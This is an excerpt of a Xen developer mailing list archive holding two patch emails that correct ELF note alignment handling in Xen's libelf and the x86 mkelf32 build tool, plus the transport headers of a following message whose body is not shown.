X-Received: by 2002:a05:600c:154d:b0:493:b8d9:f28b with SMTP id 5b1f17b1804b1-493df09313bmr68573075e9.23.1783435460526;
        Tue, 07 Jul 2026 07:44:20 -0700 (PDT)
Message-ID: <28550fc7-eb6d-4d4b-ad6e-077dceb2a4f8@suse.com>
Date: Tue, 7 Jul 2026 16:44:19 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v2 2/3] ELF: correct .note.* alignment handling
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Teddy Astie <teddy.astie@vates.tech>
References: <7a495793-53b1-4681-9c74-fa7e901ccf59@suse.com>
Content-Language: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xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <7a495793-53b1-4681-9c74-fa7e901ccf59@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1783435461-93B35D51-1BE06C69/0/0
X-purgate-type: clean
X-purgate-size: 7337

The present uniform 4-byte alignment hasn't been right for, I think, a
very long time (albeit not forever). As per e.g. [1], 8-byte alignment
is required in 64-bit ELF containers (and assembler-generated
.note.gnu.property, for example, is 8-byte aligned, while - oddly -
linker-generated .note.gnu.build-id is only 4-byte aligned [2]). Sadly
libelf is also affected, and hence going strictly by the spec would
break kernels also getting it wrong (e.g. Linux). Apply the same
heuristic as GNU readelf does: If section alignment is 4 or less, assume
only 4-byte padding.

[1] https://refspecs.linuxfoundation.org/elf/gabi4+/ch5.pheader.html#note_section
[2] https://sourceware.org/bugzilla/show_bug.cgi?id=33259

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
Arguably the spec text is ambiguous as to the width of namesz, descsz,
and type: They could well be meant to be 8-byte quantities in 64-bit
ELF as per "each entry is an array of 8-byte words". Yet with everyone
using 4-byte fields, that's the de-facto standard now anyway.

--- a/xen/arch/x86/include/asm/asm_defns.h
+++ b/xen/arch/x86/include/asm/asm_defns.h
@@ -398,14 +398,14 @@ static always_inline void stac(void)
 
 #define ELFNOTE(name, type, desc)           \
     .pushsection .note.name, "a", @note   ; \
-    .p2align 2                            ; \
+    .balign BYTES_PER_LONG                ; \
     .long 2f - 1f       /* namesz */      ; \
     .long 4f - 3f       /* descsz */      ; \
     .long type          /* type   */      ; \
 1:  .asciz #name        /* name   */      ; \
-2:  .p2align 2                            ; \
+2:  .balign BYTES_PER_LONG                ; \
 3:  desc                /* desc   */      ; \
-4:  .p2align 2                            ; \
+4:  .balign BYTES_PER_LONG                ; \
     .popsection
 
 #define ASM_CONSTANT(name, value)                \
--- a/xen/common/libelf/libelf-dominfo.c
+++ b/xen/common/libelf/libelf-dominfo.c
@@ -583,6 +583,8 @@ elf_errorstatus elf_xen_parse(struct elf
     count = elf_phdr_count(elf);
     for ( i = 0; i < count; i++ )
     {
+        unsigned orig_align = elf->note_align;
+
         phdr = elf_phdr_by_index(elf, i);
         if ( !elf_access_ok(elf, ELF_HANDLE_PTRVAL(phdr), 1) )
             /* input has an insane program header count field */
@@ -597,10 +599,15 @@ elf_errorstatus elf_xen_parse(struct elf
         if (elf_uval(elf, phdr, p_offset) == 0)
              continue;
 
+        elf->note_align = elf_uval(elf, phdr, p_align);
+
         more_notes = elf_xen_parse_notes(elf, parms,
                                  elf_segment_start(elf, phdr),
                                  elf_segment_end(elf, phdr),
                                  &total_note_count);
+
+        elf->note_align = orig_align;
+
         if ( more_notes == ELF_NOTE_INVALID )
             return -1;
 
@@ -616,6 +623,8 @@ elf_errorstatus elf_xen_parse(struct elf
         count = elf_shdr_count(elf);
         for ( i = 1; i < count; i++ )
         {
+            unsigned orig_align = elf->note_align;
+
             shdr = elf_shdr_by_index(elf, i);
             if ( !elf_access_ok(elf, ELF_HANDLE_PTRVAL(shdr), 1) )
                 /* input has an insane section header count field */
@@ -624,11 +633,15 @@ elf_errorstatus elf_xen_parse(struct elf
             if ( elf_uval(elf, shdr, sh_type) != SHT_NOTE )
                 continue;
 
+            elf->note_align = elf_uval(elf, shdr, sh_addralign);
+
             more_notes = elf_xen_parse_notes(elf, parms,
                                      elf_section_start(elf, shdr),
                                      elf_section_end(elf, shdr),
                                      &total_note_count);
 
+            elf->note_align = orig_align;
+
             if ( more_notes == ELF_NOTE_INVALID )
                 return -1;
 
--- a/xen/common/libelf/libelf-loader.c
+++ b/xen/common/libelf/libelf-loader.c
@@ -72,6 +72,9 @@ elf_errorstatus elf_init(struct elf_bina
         return -1;
     }
 
+    /* Record default note alignment, as per EI_CLASS. */
+    elf->note_align = elf_64bit(elf) ? 8 : 4;
+
     /* Find section string table. */
     section = elf_uval(elf, elf->ehdr, e_shstrndx);
     shdr = elf_shdr_by_index(elf, section);
--- a/xen/common/libelf/libelf-tools.c
+++ b/xen/common/libelf/libelf-tools.c
@@ -288,6 +288,20 @@ ELF_HANDLE_DECL(elf_sym) elf_sym_by_inde
     return sym;
 }
 
+/*
+ * Notes are special: Formally for a long time the spec has demanded that
+ * 64-bit ELF would have 8-byte padding at respective places.  However, many
+ * producers were never updated, so apply a heuristic GNU readelf also applies:
+ * Take section (or segment) alignment into consideration.  When alignment is 4
+ * or less, assume only 4-byte padding.
+ */
+static unsigned elf_note_round_up(const struct elf_binary *elf, unsigned pos)
+{
+    unsigned align = elf_32bit(elf) || elf->note_align <= 4 ? 4 : 8;
+
+    return (pos + align - 1) & ~(align - 1);
+}
+
 const char *elf_note_name(struct elf_binary *elf, ELF_HANDLE_DECL(elf_note) note)
 {
     return elf_strval(elf, ELF_HANDLE_PTRVAL(note) + elf_size(elf, note));
@@ -295,9 +309,9 @@ const char *elf_note_name(struct elf_bin
 
 elf_ptrval elf_note_desc(struct elf_binary *elf, ELF_HANDLE_DECL(elf_note) note)
 {
-    unsigned namesz = (elf_uval(elf, note, namesz) + 3) & ~3;
-
-    return ELF_HANDLE_PTRVAL(note) + elf_size(elf, note) + namesz;
+    return ELF_HANDLE_PTRVAL(note) +
+           elf_note_round_up(elf,
+                             elf_size(elf, note) + elf_uval(elf, note, namesz));
 }
 
 uint64_t elf_note_numeric(struct elf_binary *elf, ELF_HANDLE_DECL(elf_note) note)
@@ -339,11 +353,9 @@ uint64_t elf_note_numeric_array(struct e
 
 ELF_HANDLE_DECL(elf_note) elf_note_next(struct elf_binary *elf, ELF_HANDLE_DECL(elf_note) note)
 {
-    unsigned namesz = (elf_uval(elf, note, namesz) + 3) & ~3;
-    unsigned descsz = (elf_uval(elf, note, descsz) + 3) & ~3;
-
-    elf_ptrval ptrval = ELF_HANDLE_PTRVAL(note)
-        + elf_size(elf, note) + namesz + descsz;
+    elf_ptrval ptrval =
+        elf_note_desc(elf, note) +
+        elf_note_round_up(elf, elf_uval(elf, note, descsz));
 
     if ( ( ptrval <= ELF_HANDLE_PTRVAL(note) || /* wrapped or stuck */
            !elf_access_ok(elf, ELF_HANDLE_PTRVAL(note), 1) ) )
--- a/xen/include/xen/elf.h
+++ b/xen/include/xen/elf.h
@@ -29,7 +29,7 @@
 
 #include <xen/elfstructs.h>
 
-#define ELFNOTE_ALIGN(_n_) (((_n_)+3)&~3)
+#define ELFNOTE_ALIGN(_n_) ROUNDUP(_n_, BYTES_PER_LONG)
 #define ELFNOTE_NAME(_n_) ((char*)(_n_) + sizeof(*(_n_)))
 #define ELFNOTE_DESC(_n_) (ELFNOTE_NAME(_n_) + ELFNOTE_ALIGN((_n_)->namesz))
 #define ELFNOTE_NEXT(_n_) ((Elf_Note *)(ELFNOTE_DESC(_n_) + ELFNOTE_ALIGN((_n_)->descsz)))
--- a/xen/include/xen/libelf.h
+++ b/xen/include/xen/libelf.h
@@ -181,6 +181,12 @@ struct elf_binary {
     char class;
     char data;
 
+    /*
+     * Note alignment is defaulted from EI_CLASS, but overridden by
+     * segment / section alignment.
+     */
+    unsigned note_align;
+
     ELF_HANDLE_DECL(elf_ehdr) ehdr;
     elf_ptrval sec_strtab;
     ELF_HANDLE_DECL(elf_shdr) sym_tab;



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 14:44:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 14:44:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356300.1610935 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh72c-0001es-Ss; Tue, 07 Jul 2026 14:44:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356300.1610935; Tue, 07 Jul 2026 14:44:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh72c-0001el-QH; Tue, 07 Jul 2026 14:44:54 +0000
Received: by outflank-mailman (input) for mailman id 1356300;
 Tue, 07 Jul 2026 14:44:53 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wh72a-0001eQ-To
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 14:44:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh72a-006gde-Aj
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 16:44:52 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d10d4-e002-0a2a0a5209dd-0a2a4509ad3a-8
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 16:44:52 +0200
Received: from [209.85.221.54] (helo=mail-wr1-f54.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4d10e4-97e6-0a2a45090019-d155dd36ed98-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 16:44:52 +0200
Received: by mail-wr1-f54.google.com with SMTP id
 ffacd0b85a97d-47ddf7b09e5so2240558f8f.1
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 07:44:52 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9e4d780csm35456052f8f.11.2026.07.07.07.44.51
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 07:44:51 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783435492; x=1784040292; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=Uco6iUozAyjagFtzC9lAXRJPgK3e6gqt9d8xgjkfa5M=;
        b=Hp6kxM4Rj8dk5RsnCdci7ZVH1TjG+VpwvP+7hMxyhU6+Y+C+G8WSpUhqbEwuPJCUkg
         M18SKTM/vpYq00yUK5K1ncYjuhk0VmzXZwqjYW+oXsBLAYOIFk2icKSlAAVRFJETCI/v
         P8teO+Ph74N6EznLosPq4ENFE5RggnZ8/uOU0a2EDtcMLo0Gtm/ovdp9mvmfTNkkgMZW
         zkZJ3xcxzTgtZtb9/kJgaYOIXABQsPnkzMihwKJSPbsIdYkrDSTc+FzEWl4+9DZWRsQa
         SY2V9nzhJ4CJECASQevd7wUnIj3Ys5+6+aN4bWpqFd5cXXmfzU15hH00A8dp7BMpLvGY
         brxw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783435492; x=1784040292;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=Uco6iUozAyjagFtzC9lAXRJPgK3e6gqt9d8xgjkfa5M=;
        b=LKguKx0a2XhUERmpTsgjm95ByY1KLHdnzLLwC4r+C0dA1Mx2O8QQifsScn9bwoc4qG
         2/HlfzFBxB9+lB/dehwteyxbM3QNGnviIZLAlUyHsRwVwND5EZIae0WG9MmULvbjkkPa
         VNfbn7AA6o8AFNYiN5fGkfSASsFEGaOJthR3EQaRX2RouNXzN+3TVWMerv+QMEMDYude
         ST8mPTQVkDPFQHkWRtGgyGZ9qP4uuiOGsZAR8Louulr4tux55XZp9ABEjJYqJ2stw+Bw
         gwbILVoplddSQB9ojrJYRXlvXhIJ9RdYc39f0+d9GTLM6s0W9AGnflVhfeE0enkYEvdH
         ViJA==
X-Gm-Message-State: AOJu0YwmuKHvUyw4YgrDkkbCKSiT/gKq6DM+8FJ99lGIGTU0EEEScOdl
	aQ28RvjzMRa60RYUy5fykm6EVOyA9nS7tpePFX9feJUj3yxsIJspOwXPIdCYjGX/WGyVcM4fl8c
	jMRZHLA==
X-Gm-Gg: AfdE7cm67W9SGhgdDbriUfYKj2eNSb9uFN0HuK2uRvRBXzoBynETInw/X+MMGdV/vHB
	JkH2e7KLMCZ9dCUJSEVB/ckCozjejBVVT045pI+oY1Q1o2M6ESqK8E+/jFaW4+DzOyXaVdmGA/B
	O2HRw+u3JmErJE/vMMyrE9Y5JqZUiv5OnDu1pEh3gQBG8myB+LM4ubDea9vB58dmfK/jqqeCpUG
	sBRk+ObcuatkffACkzylqEbTPh1la3FYQcq07g9JiBTXOxNzqjh1QICg01DjhrVADdCMJMQLdoq
	nVVRX0jN1mNP3PyBF1oEYpU72qRm91T160REq4wOHgQnKXeGPy9dqgYXJ6BAFBY+8M1RKXe+3Jo
	tRqcbwCKjZQlP55ZuWR5VaicxprnbEfPG4jqKU06SoC/KqQ5hpG+Z0JAjvFGby3RVmgnAngJGOP
	7T7iyOsDmCeLxF9u8Z1hgyQEgrk1J35p0VI94SRz71ngn+o7MZbNVKeHGsaH0PLyC90t4zo5UvQ
	Wyr
X-Received: by 2002:a5d:56c2:0:b0:473:1706:7efe with SMTP id ffacd0b85a97d-47de66b489amr4385109f8f.24.1783435491686;
        Tue, 07 Jul 2026 07:44:51 -0700 (PDT)
Message-ID: <6657fbca-d261-439f-a40d-77b7c1c93696@suse.com>
Date: Tue, 7 Jul 2026 16:44:50 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v2 3/3] x86/mkelf32: re-write ELF notes
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>
References: <7a495793-53b1-4681-9c74-fa7e901ccf59@suse.com>
Content-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xu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <7a495793-53b1-4681-9c74-fa7e901ccf59@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1783435492-571AA986-E6A19B44/0/0
X-purgate-type: clean
X-purgate-size: 5769

64-bit ELF notes generally (sadly with exceptions) are padded to 8-byte
boundaries, whereas 32-bit ELF notes are padded to 4-byte ones. The excess
padding makes it impossible for tools like objdump to properly deal with
these notes.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
Is there a need to further generalize or tighten anything?
---
v2: New.

--- a/xen/arch/x86/boot/mkelf32.c
+++ b/xen/arch/x86/boot/mkelf32.c
@@ -8,6 +8,7 @@
  */
 
 #include <errno.h>
+#include <stdbool.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
@@ -256,6 +257,8 @@ int main(int argc, char **argv)
     char       buffer[1024] = {};
     int        bytes, todo, i = 1;
     int        num_phdrs = 1;
+    void      *notes32 = NULL;
+    unsigned int note_sz32 = 0;
 
     Elf32_Ehdr in32_ehdr;
 
@@ -359,8 +362,6 @@ int main(int argc, char **argv)
         do_read(infd, &in64_phdr, sizeof(in64_phdr));
         endianadjust_phdr64(&in64_phdr);
 
-        (void)lseek(infd, offset, SEEK_SET);
-
         note_sz = in64_phdr.p_memsz;
         note_base = in64_phdr.p_vaddr - note_base;
 
@@ -373,6 +374,84 @@ int main(int argc, char **argv)
                     offset, offset + dat_siz);
             return 1;
         }
+
+        note_sz32 = note_sz;
+
+        /* Convert 8-byte padded notes to 4-byte padded ones. */
+        if ( in64_phdr.p_align == 8 )
+        {
+            Elf64_Note *notes64 = malloc(note_sz);
+
+            notes32 = malloc(note_sz);
+            if ( notes64 && notes32 )
+            {
+                unsigned int left = note_sz;
+                void *ptr32 = notes32;
+
+                lseek(infd, in64_phdr.p_offset, SEEK_SET);
+                do_read(infd, notes64, note_sz);
+
+                for ( bool start = true; left > sizeof(*notes64); )
+                {
+                    unsigned int size;
+
+                    if ( start && !notes64->namesz )
+                    {
+                        /* Padding. */
+                        notes64 = (void *)(&notes64->namesz + 1);
+                        left -= sizeof(notes64->namesz);
+                        start = false;
+                        continue;
+                    }
+
+                    /*
+                     * The note descriptor may start at either the next 4- or
+                     * 8-byte boundary.  See e.g.
+                     * https://sourceware.org/bugzilla/show_bug.cgi?id=33259.
+                     * For the notes we have actively in use at the time of
+                     * writing, rounding to the next 4-byte boundary is enough
+                     * (and in fact is already excessive: "GNU" and "Xen" as
+                     * note names both satisfy the 8-byte alignment without
+                     * extra effort).
+                     *
+                     * The similar ->descsz aspect is covered by the check
+                     * above.
+                     */
+                    size = ROUNDUP(sizeof(*notes64) + notes64->namesz, 4) +
+                           ROUNDUP(notes64->descsz, 4);
+                    if ( left < size )
+                    {
+                        fprintf(stderr,
+                                "Warning: ELF note overrunning segment (%u bytes left, %u bytes claimed)\n",
+                                left, size);
+                        left = 0;
+                        break;
+                    }
+
+                    /* Leverage Elf{32,64}_Note actually having same layout. */
+                    memcpy(ptr32, notes64, size);
+
+                    notes64 = (void *)notes64 + size;
+                    ptr32 += size;
+                    left -= size;
+                    start = true;
+                }
+
+                if ( left )
+                    fprintf(stderr, "Warning: %u trailing bytes of ELF notes\n",
+                            left);
+
+                note_sz32 = ptr32 - notes32;
+                memset(ptr32, 0, note_sz - note_sz32);
+            }
+            else
+                fprintf(stderr,
+                        "Warning: Not enough memory to re-write %"PRIu32" bytes of ELF notes\n",
+                        note_sz);
+        }
+
+        (void)lseek(infd, offset, SEEK_SET);
+
         /* Gets us the absolute offset within the .text section. */
         offset = in64_phdr.p_offset - offset;
     }
@@ -405,8 +484,8 @@ int main(int argc, char **argv)
         /* Fill out the PT_NOTE program header. */
         note_phdr.p_vaddr   = note_base;
         note_phdr.p_paddr   = note_base;
-        note_phdr.p_filesz  = note_sz;
-        note_phdr.p_memsz   = note_sz;
+        note_phdr.p_filesz  = note_sz32;
+        note_phdr.p_memsz   = note_sz32;
         note_phdr.p_offset  = RAW_OFFSET + offset;
 
         /* Tack on the .note\0 */
@@ -415,7 +494,7 @@ int main(int argc, char **argv)
         out_shdr[2].sh_offset += sizeof(out_shdr_note);
 
         /* Fill out the .note section. */
-        out_shdr_note.sh_size = note_sz;
+        out_shdr_note.sh_size = note_sz32;
         out_shdr_note.sh_addr = note_base;
         out_shdr_note.sh_offset = RAW_OFFSET + offset;
     }
@@ -483,6 +562,17 @@ int main(int argc, char **argv)
         do_write(outfd, buffer, 4 - (bytes & 3));
     }
 
+    if ( notes32 )
+    {
+        lseek(outfd, note_phdr.p_offset, SEEK_SET);
+
+        /*
+         * While we use note_sz32 above, overwrite the full original contents,
+         * to not leave confusing rubbish there.
+         */
+        do_write(outfd, notes32, note_sz);
+    }
+
     close(infd);
     close(outfd);
 



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 14:47:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 14:47:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356310.1610945 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh750-0002Eu-82; Tue, 07 Jul 2026 14:47:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356310.1610945; Tue, 07 Jul 2026 14:47:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh750-0002En-5G; Tue, 07 Jul 2026 14:47:22 +0000
Received: by outflank-mailman (input) for mailman id 1356310;
 Tue, 07 Jul 2026 14:47:20 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wh74y-0002Ea-K5
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 14:47:20 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh74x-006cG5-LL
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 16:47:19 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4d1168-2eae-0a2a0a5409dd-0a2a450a8026-34
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 16:47:19 +0200
Received: from [74.125.224.51] (helo=mail-yx1-f51.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4d1176-e40e-0a2a450a0019-4a7de033ec4e-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 16:47:19 +0200
Received: by mail-yx1-f51.google.com with SMTP id
 956f58d0204a3-664d7863920so3529272d50.0
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 07:47:19 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1783435638; cv=none;
        d=google.com; s=arc-20260327;
        b=CgTpvBQ9wgKanytGJwa2TWM8K6fOSUGRYgMsG3Ll3oNyEa47PGiWcHrAi7DBfqL2yS
         MhPmqK7f87f7gYTitDUKYMDf20SQYhZTb+MDC64p9Z9hlSSBWDR9J5QlJbDUraHpXJ0P
         uqq7wZueqntoebmMDH2hpoByH77twt9lcqH5YCd7+3klN0Vf+diAThTbmjsZhKCVsL+g
         XoNXaIcUCtd1DG1eT+A/FIYokkzImaguCr0T9AM0Z9rVnfk+26UAgsBMnK3Yliw9CbnR
         WviHi2fuNLWI8u4AWI0CsBhR1m732z8MwyUfaQ20rpNmX8Qr3JhJ1kJJUEdC1X65zrUg
         tLaA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=ilRzyAAMmy3o+36yI2ZCcmkogGYNpjjWNytNdaDq+BQ=;
        fh=/xIDEt21AoDgIoFrvXO7IQvdlvHF73QaNWBe25gcoZE=;
        b=qPqTtsz70wzpps4vUrzCSCMSH7oz3PIKvaCFrUA1nru8+3vAYZOxUAGbdd7NnCNwUW
         7/7YPo5t78rDXQceEFQEuic1cB9GGmA+ZAxCYKxzTraFdhrUU2ss1JpndZKLZsLzf6XS
         qpFYmNgqQlQtdoVw9YdEVHcSsD7E3UvqbI/iUffo6i2OEZM7Pf47Q5ySuGi5DpfAMByn
         ZDn2hXrM1ofvzlR5w+FTaDKM2rx9krpkLF26vVXbPby4In8I4oj+kcM450Vz5bW8/2IN
         jIbFcw5Vjzs/hVMX6+XP7sukc6gHpWpHSC3I0dk85VVwW4d+5AIFu0URNOpfkz31Bx5e
         JLiw==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783435638; x=1784040438; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=ilRzyAAMmy3o+36yI2ZCcmkogGYNpjjWNytNdaDq+BQ=;
        b=T8m6nYDWyerfMwqAGOdshrEw00JTZyh79Wmc7YDMh4zbSsRJb4b7L5VF32hYoKiRRt
         F7sKx4Ic0voCFFHTOqe7OeJiE+plPB+K9dcaV0VsTfWFHVNmY3ePVxBCCWg+StgMQuay
         zaOTPZpPRCo9f76jyu0d4kIJlzd07lRokIoMmAxlPRsGaDdL5u7TlPGTwbVkJhAvfkS4
         tmxYxgsq5qnBwQ59mo6bbD3sohMeMCSTLZO/m1r5vQ0r2S/OG4Y3+YWFgEmxVHavGAZ3
         a1je6VHt2jLQov8XaPNtDCGN1STIngXLVTrLMHxtN1UsMtVk8bv/sOBcnhppcQXvpz6L
         dFdw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783435638; x=1784040438;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ilRzyAAMmy3o+36yI2ZCcmkogGYNpjjWNytNdaDq+BQ=;
